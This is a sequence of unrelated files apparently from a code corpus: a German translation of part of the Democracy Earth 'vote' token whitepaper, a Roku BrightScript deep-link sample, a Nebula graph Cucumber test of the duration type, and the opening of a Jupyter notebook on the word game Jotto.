Die Wichtigkeit der Messung von Dezentralisierung beruht darauf, eine Metrik zu finden die in der Lage ist die zensurresistent eines Netzwerks zur zertifizieren, da dies eine grundlegende Eigenschaft für selbstsouveräne Währungen wie Bitcoin ist. Aber letztlich muss auch die Frage geklärt werden, wer die Kontrolle über die Entitäten hat, die ein vernetztes System betreiben. Durch die Etablierung eines Referenznetzwerks, das eine gleichberechtigte Verteilung seiner Token auf Basis eines "Proof of Identity"-Mechanismus garantiert und somit "Replikanten" verhindern soll, wird eine neue Perspektive eingebracht die dazu beitragen kann die Auflösung des Nakamoto-Koeffizienten durch erkennbare Zugangsgleichberechtigung zu erhöhen.
Durch die Garantie eines gleichen Startpunktes für jeden Teilnehmer, unabhängig von dem Zeitpunkt an dem er sich entscheidet dem Netzwerk beizutreten, funktioniert das ''vote''-Netzwerk wie eine echte Meritokratie. Die vorgeschlagene ''Gleichheit''-Variable ist lediglich eine Regel für die Festlegung eines Startpunkts und keineswegs eine dauerhafte Auferlegung: Jeder Selbstsouverän darf zu jeder Zeit entweder ''votes'' an jemand anderen delegieren oder sie verwenden, um eine <code>Organisation</code> im Netzwerk zu starten. Auf diese Weise kann der ''Vote''-Token als ein Gerät funktionieren, das geeignet ist eine Welle von Unternehmertum zu fördern. Sogar unter den heutigen entrechteten Individuen, die von den alten Finanz- und politischen Systemen ausgeschlossen sind. Da dies jedoch auf individueller Ebene geschieht, dient die allgemeine Statistik des Netzwerks selbst als Referenzrahmen, um die Dezentralisierung bis hinunter zu jedem einzelnen Menschen auf der ganzen Welt effektiv zu messen und Möglichkeiten zu identifizieren, wo sie benötigt wird während sie wächst.
Der Wert des Netzwerks liegt nicht in der simulierten Knappheit, sondern in seiner Fähigkeit ungezwungene Entscheidungen unter Selbstsouveränen auf der Basis der Gleichheit zu registrieren. Anfänglich könnte der Token "vote" mit Meinungsforschern und anderen rudimentären Simulationen konkurrieren, die darauf abzielen Wahlen vorherzusagen, aber schließlich kann er zu einem eigenständigen souveränen System werden, wenn die Bürgerschaft auf das Netzwerk wechselt. ''Votes'' funktionieren als ein Signal, das in der Lage ist Ereignisse zu registrieren, die auf einer unbestechlichen Blockchain aufgezeichnet werden, die politische Geschichte speichert und die nicht gelöscht oder in irgendeiner Weise verändert werden können. Zukünftige Generationen werden ohne Mittelsmänner mit ihrer Vergangenheit konfrontiert.
===3.4 Wert===
Wir verfolgen drei Ansätze, um den Wert des "Vote"-Zeichens zu definieren:
* '''Status-Quo''': Soziale Medien bieten einen klaren Hinweis darauf, wie ''Likes'' online wertgeschätzt werden.
* '''Arbeit & Zeit''': Die Perspektive des ''Universellen Grundeinkommens'' bietet nützliche Erkenntnisse darüber, wie die Arbeitszeit bewertet wird.
* '''Nation-States''': Traditionelle Wahlen bieten nützliche Einblicke, wie Stimmen heute bewertet werden.
*
====3.4.1 Status-Quo====
Ein vergleichbarer Maßstab für den Wert des ''Vote''-Tokens ist das Facebook-Netzwerk mit derzeit 2 Milliarden Nutzern und einer Marktkapitalisierung von ~$500 Milliarden bei einer durchschnittlichen Schätzung von '''$250 pro Nutzer'''. Die Democracy Earth Foundation sieht die ''like''-Funktion von Facebook analog zur Verwendung von ''votes'' in einem offenen Netzwerk. Es ist schwer abzuschätzen, wie viele ''Likes'' auf dieser Plattform gemacht werden, da es sich um private Informationen handelt. Wenn man davon ausgeht, dass ein durchschnittlicher Nutzer 1-10 Likes pro Tag macht, gehen grobe Schätzungen davon aus, dass ''Likes'' in Höhe von Milliarden bis Dutzenden von Milliarden pro Tag gemacht werden.
Vermarkter, die die Facebook-Werbemaschine betreiben, preisen ''Likes'' in einem Bereich, der von '''$0,10 bis zu $25''' reichen kann, basierend auf der Reputation und Popularität des Kontos, das verwendet wird um die Aufmerksamkeit der Nutzer zu gewinnen. In diesem Sinne glauben wir, dass diese Preisreferenz für Endnutzer relevant ist, um sie mit einem Token auszustatten, der mit führenden Social-Media-Plattformen konkurrenzfähig sein kann. Es muss jedoch angemerkt werden, dass im Gegensatz zu "Likes", "Votes" den Inhabern direkt das Recht geben, an jedem finanziellen Vorteil zu partizipieren, der mit ihrer Nutzung ohne Vermittlung verbunden sein kann. Mit ''Votes'' wird das Profitieren von Nutzerdaten nicht mehr die exklusive Domäne des Facebook-Zwischenhändlers sein, sondern wird durch einen nativen Token-Generierungsmechanismus ermöglicht, der auf den Prinzipien der [http://www.un.org/en/universal-declaration-human-rights/ Allgemeine Erklärung der Menschenrechte] basiert:
<blockquote>
Jeder Mensch hat das Recht auf Meinungsfreiheit und freie Meinungsäußerung; dieses Recht schließt die Freiheit ein, Meinungen ungehindert zu vertreten und Informationen und Ideen über alle Medien und ohne Rücksicht auf Grenzen zu suchen, zu empfangen und zu verbreiten. Jeder hat das Recht auf friedliche Versammlung und Vereinigungsfreiheit. Jeder hat das Recht, sich an der Regierung seines Landes direkt oder durch frei gewählte Vertreter zu beteiligen.
</blockquote>
Mit der Schaffung von Sovereign als Schnittstelle für Blockchain-basierte Demokratien, die mit "Vote"-Token arbeiten, will die Democracy Earth Foundation Facebook einen "Linux-Moment" verschaffen: Analog zum Aufstieg von Open-Source-Betriebssystemen in den frühen 1990er Jahren wurde Linux zu einer Alternative zur monopolisierenden Kraft von Microsofts Windows, das den Markt für Personalcomputer und Internetserver dominierte. Ein freies und offenes Internet muss die Schaffung eines sozialen Netzwerks anstreben, in dem keine einzelne Organisation die Kontrolle über geteilte Ideen und Inhalte hat, und das im Austausch für die privaten Informationen der Benutzer. Während Facebook die Aufmerksamkeit der Nutzer für seinen Profit ausbeutet, wird das Democracy Earth Netzwerk die gleiche Ressource nutzen um das Vertrauen in den "Vote"-Token mit seinem "Proof of Identity"-Prozess zu stärken. In Anbetracht des wachsenden politischen Einflusses der soziale Medien in der Welt, wird die Dringlichkeit ein offenes, unzensierbares, souveränes und freies soziales Netzwerk zu schaffen größer. Man beachte, dass die Vote-Token mit sozialen Netzwerken die Kryptowährungen verwenden integriert werden könnten, so wie bei Akasha, was sich gerade in Entwicklung befinden. Darüber hinaus könnten sie in Facebook integriert werden, was die Dezentralisierung von Facebook vorantreiben würde, so sagte [https://www.facebook.com/zuck/posts/10104380170714571 Mark Zuckerberg, dass Facebook sich mit Kryptowährungen beschäftigen wird].
====3.4.2 Arbeit & Zeit====
Aus Sicht des "Universellen Grundeinkommens" ist eine hilfreiche Referenz, die Zeit und Arbeit wertschätzt, der vorgeschlagene [https://en.wikipedia.org/wiki/Minimum_wage_in_the_United_States Mindestlohn in den USA], der auf Bundes-, Landes- und lokalen Gesetzen im ganzen Land basiert. Im Juli 2016 wurde er auf '''7,25 $ pro Stunde''' festgelegt.
[[File:/images/minimum-wage-us.png|Mindestlohn in den USA.]]
Damit der "Vote"-Token tatsächlich zu einem nützlichen Netzwerk wird, dass in der Lage ist das UGE auf globaler Ebene zu indizieren, muss eine Erwartung bezüglich seiner Preisdynamik auf eine "Vote"-Einheit als Äquivalent zu 1 Stunde Arbeit festgelegt werden. Dies verankert den anfänglichen Preis des Tokens bei:
1 Stimme = $ 7.25
Solange das Netzwerk erfolgreich ''Replikanten'' verbietet und validierte selbstsouveräne Identitäten belohnt die auf der Bitcoin-Blockchain indiziert sind, kann jede UGE-Initiative den vorliegenden Daten vertrauen um Ressourcen ohne das Risiko des Missbrauchs zuzuweisen.
====3.4.3 Nationalstaaten====
Aus nationalstaatlicher Sicht sind die Kosten für die Durchführung nationaler Wahlen eine nützliche Referenz. Das Präsidentschaftsrennen 2016 in den USA hatte Gesamtkosten in Höhe von [https://www.opensecrets.org/overview/cost.php $ 2.386.733.696], obwohl es die niedrigste Wahlbeteiligung seit 20 Jahren hatte - eine geschätzte Gesamtzahl von [https://en.wikipedia.org/wiki/Voter_turnout_in_the_United_States_presidential_elections ~138.847.000 Wählern] nahm teil. Daher kann eine einfache Berechnung den von der US-Regierung für diesen Wahlprozess ausgegebenen Stimmzettel mit '''$ 17,18 pro Stimme''' beziffern. Am anderen Ende des Spektrums bieten Entwicklungsländer wie Argentinien eine ähnliche Referenz: Ihre Parlamentswahlen 2017 hatten geschätzte Kosten von [http://www.lanacion.com.ar/2034493-las-paso-costaran-2800-millones-pero-casi-no-definiran-candidatos $ 164.705.882] mit einer Gesamtzahl von [http://www.elintransigente.com/politica/2017/8/13/cuantos-argentinos-votaron-paso-449552.html ~24.500.000 Wählern], was den Preis auf '''$ 6,70 pro Stimme''' setzt. In diesem Kostenrahmen liegen die Investitionen der Nationalstaaten, um das Wahlrecht für alle Bürger zu garantieren.
[[File:/images/cost-of-us-elections.png|Kosten für US-Wahlen.]]
Laut Facebooks Startkapitalgeber Peter Thiel lautet eine Faustregel für technologische Innovationen, dass um ein vorhergehendes Paradigma zu schlagen eine Innovation Kosten und Nutzen des Paradigmas mindestens um den Faktor 10 übertreffen muss. Ein Beispiel: Die digitale Textverarbeitung wurde erfolgreich, weil sie mindestens zehnmal besser und zehnmal billiger ist als eine Schreibmaschine. Das Gleiche gilt für das Fax im Vergleich zur Post; und die E-Mail im Vergleich zum Fax. Daher sollte der Wechsel von traditionellen Abstimmungen zu einem neuen Standard von Blockchain-basierten Abstimmungen auf der gleichen Grundlage erfolgen.
Ein einfacher Vergleich zeigt die strikten Beschränkungen, die Wahlstimmen im Vergleich zu dem in diesem Papier vorgeschlagenen "Vote"-Token haben:
* '''Teure Sicherheit''': Der ''Identitätsnachweis'' der Nationalstaaten erfordert mehrere Ressourcen, um die Bürger in vielen Phasen ihres Lebens zu identifizieren. Geburtsurkunden, Pässe, Führerscheine, Personalausweise, Sozialversicherungen, Heiratsurkunden und Sterbeurkunden sind alle darauf ausgerichtet die öffentlichen Aufzeichnungen über die Bürger auf dem neuesten Stand zu halten. Dies ist die leitende Funktion des Staates und kann zu einem Verhalten der Verfolgung führen.
* '''Limited Utility''': Sobald ein Bürger bei einer Wahl seine Stimme abgibt, kann diese erst 4 bis 6 Jahre später geändert werden, wenn die gewählten Ämter wieder besetzt werden. Nur diejenigen unter den gewählten Ämtern (d.h. Senatoren und Kongressabgeordnete) erhalten das Recht, mehr Stimmen abzugeben als der Rest der Bürger.
* '''Reduzierte Bandbreite''': Die Bürger bekommen nur einmal alle 2 oder 4 Jahre die Möglichkeit aus einer Handvoll von Optionen zu wählen. Wenn wir jede Option als ein Bit im System betrachten, dann können traditionelle Wahlen als '''8-Bit-Demokratien''' betrachtet werden, so groß ist die derzeitige Bandbreite für die Beteiligung unter den meisten Regierungen.
Um den auf den Mindestlohn in den USA festgesetzten Referenzpreis beizubehalten und gleichzeitig mindestens ~10x effizienter als jede herkömmliche Wahl zu sein, muss der Nutzen der ''Stimme'' erweitert werden, indem der Token teilbar gemacht wird.
====3.4.4 Teilbarkeit====
Die Wartezeit von 4 Blöcken für jedes neu ausgeteilte ''Vote'' begrenzt die vom System wahrgenommene Belohnung auf alle ~40 Minuten. Diese Einschränkung wird festgelegt, um die ökonomische Logik des "Vote"-Tokens an seine Fähigkeit zu binden jeden erfolgreichen "Identitätsnachweis" mit einer UGE-Auszahlungsdynamik zu verknüpfen. Aber die Fähigkeit, mit dem System selbst zu interagieren sollte keine lange Wartezeit erfordern: Durch die Einführung von Dezimalstellen kann das Netzwerk sofortige Belohnung bieten, indem es die Auszahlungsdynamik (dripping dynamic) auf einen kleinen Bruchteil der menschlichen Aufmerksamkeit anpasst.
Wenn man das bedenkt,
1 Vote (Stimme) = 4 Blöcke = 40 Minuten = 2.400 Sekunden
Um eine möglichst kurze dezimale Länge beizubehalten und gleichzeitig die Auszahlungsrate an die minimale Aufmerksamkeitsspanne des Menschen anzupassen, sollte das ''vote''-Netzwerk alle 0,25 Sekunden eine Revolution durchführen:
.25 Sekunden = 0,0001 votes (Stimmen)
Genauso wie der minimale Bruchteil eines Bitcoins als 1 Satoshi bezeichnet wird (d.h. 100.000.000 Satoshis = 1 Bitcoin), halten wir es für angemessen, den minimalen Bruchteil von einem ''vote'' als ''Revolution'' zu bezeichnen, da dieses Konzept hilft die Geschwindigkeit auszudrücken, mit der das Netzwerk politische Rechte gewährt,
1 vote (Stimme) = 10.000 Umdrehungen
Was auch als ausgedrückt werden kann,
1 Umdrehung = 0,0001 votes
Indem 4 Nachkommastellen im Token erlaubt werden, wird alle 15 Sekunden eine ''Revolution'' auf einen gültigen ''Identitätsnachweis'' im Netzwerk ausgezahlt. ''Revolutionen'' bringen fast sofortigen Zugang zu politischen Rechten während sie die gleiche Nutzbarkeit wie ''Stimmen'' haben, mit einem Kostenaufwand, der vergleichsweise 10.000X effizienter ist als Wahlen in Nationalstaaten:
1 Revolution = 0,0001 votes = $ 0,000012
Für die Identifizierung des Tokens in Drittanwendungen schlagen wir die Kennzeichnungen ''VOTE'' und ''VOT'' vor.
===3.5 End Game.===
<blockquote>
"Was ist mit den Regierungen passiert?" erkundigte ich mich.
"Man sagt, dass sie allmählich außer Dienst gestellt wurden. Man rief Wahlen aus, erklärte Kriege, erhob Steuern, konfiszierte Vermögen, ordnete Verhaftungen an und versuchte, eine Zensur durchzusetzen - aber niemand auf dem Planeten schenkte ihnen Beachtung. Die Presse hörte auf, Stücke von denen zu veröffentlichen die sie als ihre "Mitwirkenden" bezeichnete. Die Politiker mussten sich eine ehrliche Arbeit suchen; einige wurden Komiker, andere Hexendoktoren - einige glänzten in diesen Berufen..."
</blockquote>
'''Jorge Luis Borges''', ''Utopia of a Tired Man''. Autor (1899–1986).
An diejenigen, die über elektronische Abstimmungen im Internet argumentieren und ihre Argumente mit Facebook-"Likes" bewerten: [https://en.wikipedia.org/wiki/The_medium_is_the_message ''the medium is the message'']. Die Notwendigkeit, vertrauenswürdige Beziehungen in digitalen Umgebungen aufzubauen, ist zwingend notwendig, da sich die menschliche Zusammenarbeit auf den gesamten Globus ausdehnt. Aber die Generation, die diese Möglichkeit kollaborativ aufbauen kann, muss in der Lage sein aus den großen Lektionen der Geschichte zu lernen. Die Ursprünge der Datenverarbeitung gehen zurück auf [https://en.wikipedia.org/wiki/History_of_IBM#1880s.E2.80.931924:_The_origin_of_IBM die erste von IBM gebaute Tabelliermaschine für die US-Volkszählung von 1890] und die Auszählung der nationalen Wahlen danach. Die allerersten Proto-Computer, die von Alan Turing gebaut wurden, wurden als Kriegsanstrengungen gebaut, die in der Lage waren die Verschlüsselung der Nazis zu brechen und letztendlich zu demonstrieren, wie Intelligenz Gewalt besiegen kann. Der Übergang von der analogen zur digitalen Kommunikation begann mit der [https://wheatoncollege.edu/provost/2016/03/21/claude-shannon-and-the-magna-carta-of-the-information-age/ Magna Carta des Informationszeitalters], die Claude Shannon 1948 veröffentlichte und in der er die Grundlagen für digitalen Code und riesige Netzwerke für die Übertragung von Intelligenz schuf - eine Vision, die durch Sir Tim Berners-Lee mit der Entwicklung der "World Wide Web"-Protokolle Wirklichkeit wurde. Als Satoshi Nakamoto das Bitcoin-Papier veröffentlichte, läutete er die Ära ein, die den Übergang von analogen zu digitalen ''Institutionen'' einleitet - ein unvermeidlicher Sprung aufgrund der Reifung unseres gemeinsamen Verständnisses der Eigenschaften von Informationssicherheit. Blockchains geben unserer Welt eine neue Leinwand auf der wir ein Fundament legen können, so das wir es nicht mehr nötig haben regiert zu werden. Schließlich [https://en.wikiquote.org/wiki/Alfred_North_Whitehead schreitet die Zivilisation voran, indem sie die Anzahl der wichtigen Vorgänge] erweitert, die wir ausführen können ohne darüber nachzudenken. Die digitale Technologie hat bewiesen, dass sie eine größere Kapazität in der Reichweite und Qualität ihrer Kommunikationsmöglichkeiten besitzt, und während neue Generationen unter einer globalen Allmende verbunden werden, werden Informationsarchitekturen unsere politischen und finanziellen Beziehungen ohne die physischen Restriktionen der Vergangenheit regulieren. Der unbestreitbare Erfolg des Bitcoin-Experiments, das selbst die radikalsten Prognosen über ein Jahrzehnt hinweg immer wieder übertrifft, sagt viel über das entfesselte Potenzial aus, das die Menschheit gefunden hat. Der Status-quo wird immer aus einer skeptischen Position heraus sprechen, da das Aufhalten des Fortschritts nur aus einer Position der Bequemlichkeit kommen kann. Aber so wie das Internet nicht auf die Anpassung uralter Imperien gewartet hat, werden Blockchains sich nicht um politische Versprechungen scheren: Eine technologisch fortgeschrittene Gesellschaft kann Vereinbarungen zur gegenseitigen Kooperation treffen, ohne auf die Mittel des Zwangs und der Gewalt zurückzugreifen. Das ist die bemerkenswerte Konsequenz der Disintermediation von Vertrauen ohne Grenzen, eine Realität, die nicht in einem einzelnen isolierten Teil eines Landes oder einer Region des Globus entstehen wird, sondern über den gesamten Planeten verteilt sein wird. Das ''nächste Silicon Valley'' befindet sich nicht in einem weit entfernten Land oder überhaupt auf irgendeinem Land, sondern eine neue Grenze des Internets selbst, das als das einzig wahre offene, freie und souveräne Netzwerk von Gleichgesinnten entsteht.
----
==4. About.==
Die Democracy Earth Foundation ist eine Initiative, die durch Mitarbeiter, Spender und Unterstützer aller Art ermöglicht wird. Wir sind eine 501 (c) 3 gemeinnützige Organisation aus Kalifornien und mit Präsenz in New York, Paris, Sao Paolo, Buenos Aires und San Francisco.
===4.1 Team & Mitarbeiter.===
Santiago Siri, Virgile Deville, Paula Berman, Eduardo Medina, Herb Stephens, Sandra Miller, Dwight Wilson, Mair Williams, Louis Margot-Duclot, Felipe Alvarez, Cyprien Grau, Peter Schurman, Andrew James Benson, Gonzalo Stupenengo, Lucas Isasmendi, James Ray, Leo Arias, Zach Latta, Shep Moore-Berg, @nelruk, Matias Martinez, @arcalinea, Esteve Fernandez, Drew Cain, Daniel Kao, Curtis Colwell, and Alejandro Machado.
===4.2 Beirat.===
Pia Mancini, Alexis Ohanian, Matias Mosse, Ariel Kogan, Ernesto Dal Bó, Kate Courteau, Giorgio Jackson, Julio Coco, Dan Swislow.
===4.3 Einzelne Spender.===
Ricardo Gorodisch, Matias Mosse, Krishna Bahrat, Wenceslao Casares, Dwight Wilson, Marcos Galperin, Alejandro Estrada, Chris & Hedy Eyre, Kevin Barenblat, Clinton Yara, Tom Preston-Werner, Lloyd Nimetz, Eduardo Medina, Jim D'Amico, Erik Walter, Vivek Krishnappa, Kevin Berk, Micah Rosenbloom, Karén Gyulbudaghyan, Satoshi Nakamoto, Paul Wehrley, Josh Jacobson, Allison Sparks, Ahin Thomas, Ron Hirson, Ken Ettinger, Sharon Goldstein, Shreenath Regunathan, Matt Price, Josh Zaretsky, Heejae Lim, Allison Koblick.
===4.4 Danksagung.===
Dies sind einige der Köpfe, die zu den Ideen inspiriert haben, die in diesem Dokument zum Ausdruck kommen.
Nick Szabo, Nubis Bruno (Bitex.la), Cesar Hidalgo (MIT), Balajis Srinivasan (21.co & Anderssen Horowitz), Andreas Antonopoulos (Bitcoin Evangelist), Peter Asaro (Stanford), Naval Ravikant (Angel List), Guillermo Rauch (Zeit), Andrew DeSantis (E8), Greg Slepak (Open Turtles), Demian Brener (Zeppelin), Manuel Araoz (Zeppelin), Ralph Merkle, Satoshi Nakamoto (Bitcoin), Vitalik Buterin (Ethereum), Vlad Zamfir (Ethereum), Joseph Lubin (Consensys), Ryan Shea (Blockstack), Muneeb Ali (Blockstack), Luis Cuende (Aragon), Vinny Lingham (Civic), Luke Duncan, David Graeber (London School of Economics), Peter Schurman (One Global Democracy), Jim D'Amico, Federico Ast, Harry Halpin, Guy Standing (University of London), Sebastian Serrano.
===4.5 Supporters.===
Diese Organisationen unterstützten unsere Arbeit durch Zuschüsse, Partnerschaften und Anerkennung unserer Forschungs- und Entwicklungsarbeit.
[[File:/images/grants-awards-support-organizations.png|Grants, awards and support from these leading organizations.]]
| MediaWiki | 3 | Dkdaniz/paper | translations/german/README_DE.mediawiki | [
"MIT"
] |
sub Main(args)
screen = CreateObject("roSGScreen") 'Create Screen object
m.port = CreateObject("roMessagePort") 'Create Message port
screen.setMessagePort(m.port) 'Set message port to listen to screen
scene = screen.CreateScene("HomeScene") 'Create HomeScene
m.global = screen.getGlobalNode()
? "args= "; formatjson(args) 'pretty print AA'
deeplink = getDeepLinks(args)
? "deeplink= "; deeplink
m.global.addField("deeplink", "assocarray", false)
m.global.deeplink = deeplink
screen.show()
while(true) 'Listens to see if screen is closed
msg = wait(0, m.port)
msgType = type(msg)
if msgType = "roSGScreenEvent"
if msg.isScreenClosed() then return
end if
end while
end sub
Function getDeepLinks(args) as Object
deeplink = Invalid
if args.contentid <> Invalid and args.mediaType <> Invalid
deeplink = {
id: args.contentId
type: args.mediaType
}
end if
return deeplink
end Function
| Brightscript | 4 | khangh/samples | certification/deep-Linking-samples-master/Basic_DeepLink_roInput_Sample/source/main.brs | [
"MIT"
] |
Feature: Insert duration
Background:
Given an empty graph
And create a space with following options:
| partition_num | 9 |
| replica_factor | 1 |
| vid_type | FIXED_STRING(20) |
Scenario: insert duration failed
Given having executed:
"""
CREATE TAG IF NOT EXISTS test_failed(a int);
"""
When try to execute query:
"""
INSERT VERTEX test_failed(a) VALUES "TEST_VERTEX_FAILED":(duration({years: 3}))
"""
Then a ExecutionError should be raised at runtime:Storage Error: The data type does not meet the requirements. Use the correct type of data.
When try to execute query:
"""
INSERT VERTEX test_failed(a) VALUES "TEST_VERTEX_FAILED":(duration())
"""
Then a SyntaxError should be raised at runtime: Unknown function near `duration'
Scenario: duration don't support index
Given having executed:
"""
CREATE TAG IF NOT EXISTS test_tag_index_failed(a duration);
CREATE EDGE IF NOT EXISTS test_edge_index_failed(a duration);
"""
When try to execute query:
"""
CREATE TAG INDEX test_tag_duration_index ON test_tag_index_failed(a);
"""
Then a ExecutionError should be raised at runtime: Invalid param!
When try to execute query:
"""
CREATE EDGE INDEX test_edge_duration_index ON test_edge_index_failed(a);
"""
Then a ExecutionError should be raised at runtime: Invalid param!
Scenario: Basic CRUD for duration type
Given having executed:
"""
CREATE TAG tag_duration(f_duration duration);
CREATE EDGE edge_duration(f_duration duration);
"""
When executing query:
"""
SHOW CREATE TAG tag_duration;
"""
Then the result should be, in any order:
| Tag | Create Tag |
| 'tag_duration' | 'CREATE TAG `tag_duration` (\n `f_duration` duration NULL\n) ttl_duration = 0, ttl_col = ""' |
When executing query:
"""
SHOW CREATE EDGE edge_duration;
"""
Then the result should be, in any order:
| Edge | Create Edge |
| 'edge_duration' | 'CREATE EDGE `edge_duration` (\n `f_duration` duration NULL\n) ttl_duration = 0, ttl_col = ""' |
When try to execute query:
"""
INSERT VERTEX tag_duration(f_duration) VALUES "test":(duration({years: 1, seconds: 0}));
INSERT EDGE edge_duration(f_duration) VALUES "test_src"->"test_dst":(duration({years: 1, seconds: 0}));
"""
Then the execution should be successful
When executing query:
"""
INSERT VERTEX tag_duration(f_duration) VALUES "test":(1)
"""
Then a ExecutionError should be raised at runtime:
When executing query:
"""
INSERT EDGE edge_duration(f_duration) VALUES "test_src"->"test_dst":(true)
"""
Then a ExecutionError should be raised at runtime:
# TODO TCK python-client support duration type
# When executing query:
# """
# FETCH PROP ON tag_duration "test" YIELD tag_duration.f_duration
# """
# Then the result should be, in any order:
# | tag_duration.f_duration |
# | 'P1YT1S' |
# When executing query:
# """
# FETCH PROP ON edge_duration "test_src"->"test_dst" YIELD edge_duration.f_duration
# """
# Then the result should be, in any order:
# | edge_duration.f_duration |
# | 'P1YT1S' |
# When executing query:
# """
# UPDATE VERTEX "test"
# SET
# tag_duration.f_duration = duration({years: 3, months: 3, days: 4})
# YIELD f_duration
# """
# Then the result should be, in any order:
# | f_duration |
# | 'P3Y3M4D' |
# When executing query:
# """
# UPDATE EDGE "test_src"->"test_dst" OF edge_duration
# SET
# edge_duration.f_duration = duration({years: 3, months: 3, days: 4})
# YIELD f_duration
# """
# Then the result should be, in any order:
# | f_duration |
# | 'P3Y3M4D' |
When executing query:
"""
DELETE VERTEX "test";
DELETE EDGE edge_duration "test_src"->"test_dst";
"""
Then the execution should be successful
When executing query:
"""
FETCH PROP ON tag_duration "test" YIELD vertex as node;
"""
Then the result should be, in any order, with relax comparison:
| node |
When executing query:
"""
FETCH PROP ON edge_duration "test_src"->"test_dst" YIELD edge as e;
"""
Then the result should be, in any order, with relax comparison:
| e |
And drop the used space
| Cucumber | 4 | wenhaocs/nebula | tests/tck/features/mutate/InsertDurationType.feature | [
"Apache-2.0"
] |
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<div align=\"right\" style=\"text-align: right;\"><i>Peter Norvig<br>April 2020</i></div>\n",
"\n",
"# Jotto\n",
"\n",
"[Jotto](https://en.wikipedia.org/wiki/Jotto) is a word game in which a **guesser** tries to guess a secret **target** word, which is chosen from a list of permissible words, in as few guesses as possible. Each guess must be one of the permissible words, and the **reply** to each guess is the number of letters in common between the guess word and the target word, regardless of the positions of the letters. \n",
"\n",
"Here is an example Jotto game, where I show the guesses, the replies, the number of remaining targets that are **consistent** with all the replies seen so far, and finally the letters that matched (this is as an aid to you, the reader; these matching letters are not known to the guesser). In this game, the guesser gets to the target word, \"wonky\", in 7 guesses. \n",
"\n",
" Guess 1: stoma, Reply: 1, Consistent targets: 1118 (Matched: \"o\")\n",
" Guess 2: bairn, Reply: 1, Consistent targets: 441 (Matched: \"n\")\n",
" Guess 3: swipe, Reply: 1, Consistent targets: 197 (Matched: \"w\")\n",
" Guess 4: lurks, Reply: 1, Consistent targets: 87 (Matched: \"k\")\n",
" Guess 5: rowdy, Reply: 3, Consistent targets: 14 (Matched: \"owy\")\n",
" Guess 6: roved, Reply: 1, Consistent targets: 2 (Matched: \"o\")\n",
" Guess 7: wonky, Reply: 5, Consistent targets: 1 (Matched: \"wonky\")\n",
"\n",
"\n",
"There are several variants of the game; here are four key questions and my answers:\n",
"\n",
"- Q: How many letters can each word be? <br>A: **Only five-letter words are allowed in the word list**.\n",
"- Q: Can a guess be a word that is not in the word list? <br>A: **No. (If the guesser proposes a non-word, the reply is 0.)**\n",
"- Q: What is the reply for a word that has the same letter twice, like the `s` in `stars`? <br>A: **Only words with no repeated letters are allowed in the word list**.\n",
"- Q: What if the reply is `5`, but the guess is not the target?<br>A: **No two words in the word list are allowed to have the same set of five letters**.<br>**For example, only one of** `{'apers', 'pares', 'parse', 'pears', 'reaps', 'spare', 'spear'}` **is allowed.**\n",
"\n",
"# Choosers and Guessers\n",
"\n",
"Typically, the **guesser** plays against a **chooser**, who chooses the target word. This introduces a game-theoretic aspect: the chooser chooses a word that should be difficult for the guesser, but knowing that, the guesser modifies their strategy, and knowing that, the chooser further modifies their choice, etc. To avoid these complications, I will instead use a scenario where every target word is equally likely, and to evaluate a guesser we have it play one game with each target word, and aggregate the scores from all those games. (This is appropriate when the guesser is a program, but would be extremely tedious for a human guesser.)\n",
"\n",
"First some imports and (if necessary) the download of a file of words, `sgb-words.txt`:"
]
},
{
"cell_type": "code",
"execution_count": 1,
"metadata": {},
"outputs": [],
"source": [
"import matplotlib.pyplot as plt\n",
"import random\n",
"from typing import List, Tuple, Dict, Union\n",
"from statistics import mean, stdev\n",
"from collections import defaultdict, Counter\n",
"from math import log\n",
"\n",
"! [ -e sgb-words.txt ] || curl -O https://norvig.com/ngrams/sgb-words.txt"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We can make a Jotto word list from `sgb-words.txt` by putting all the words that have five distinct letters into a dict keyed by the set of letters in each word, and then keeping only one word for each letter set:"
]
},
{
"cell_type": "code",
"execution_count": 2,
"metadata": {},
"outputs": [],
"source": [
"def jotto_words(words) -> List[str]:\n",
" \"\"\"Build a list of permissible Jotto words from an iterable of words.\"\"\"\n",
" lettersets = {frozenset(w): w \n",
" for w in words if len(w) == 5 == len(frozenset(w))}\n",
" return list(lettersets.values())"
]
},
{
"cell_type": "code",
"execution_count": 3,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"2845"
]
},
"execution_count": 3,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"wordlist = jotto_words(open('sgb-words.txt').read().split())\n",
"len(wordlist)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"We see there are 2,845 permissible target words."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Playing a Game\n",
"\n",
"We will define the function `play_jotto` to play a game and optionally produce the output shown above in the example game (without the \"(Matched: ...)\" part), and finally return as a score the number of guesses made. To avoid a possible infinite loop with a very poor guesser, we limit the number of guesses to the number of words in the word list.\n",
"\n",
"The first argument to `play_jotto` is a `guesser`. I choose to implement a guesser as a `callable` (e.g., a function) that is passed the current state of the game and returns a guess word. So how do we represent the state of the game? `play_jotto` is keeping track of the `targets` that are still consistent given previous guesses and replies, so we might as well pass that in. In addition, we pass in the reply from the previous guess. Note that a guess need not be one of the consistent targets, but it must be one of the words in the word list. The second argument is a `chooser`: a function that selects a word from a wordlist. By default, it chooses randomly."
]
},
{
"cell_type": "code",
"execution_count": 4,
"metadata": {},
"outputs": [],
"source": [
"def play_jotto(guesser, chooser=random.choice, wordlist=wordlist, verbose=False) -> int:\n",
" \"\"\"How many guesses does it take for `guesser` to guess the Jotto target word,\n",
" which is selected by `chooser` from the words in `wordlist`?\"\"\"\n",
" targets = wordlist # The targets that are consistent with all replies\n",
" target = chooser(targets)\n",
" reply = None\n",
" for i in range(1, len(wordlist) + 1):\n",
" guess = guesser(reply, targets)\n",
" reply = reply_for(target, guess) if guess in wordlist else -1\n",
" targets = [w for w in targets if reply_for(guess, w) == reply]\n",
" if verbose: \n",
" print(f'Guess {i}: {guess}, Reply: {reply}, Consistent targets: {len(targets)}')\n",
" if guess == target or i == len(wordlist): \n",
" return i\n",
" \n",
"Reply = int # A reply to a guess is an integer (from 0 to 5)\n",
" \n",
"def reply_for(target, guess) -> Reply: \n",
" \"The number of letters in common between the target and guess\"\n",
" return len(set(target).intersection(guess))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# Random Guesser\n",
"\n",
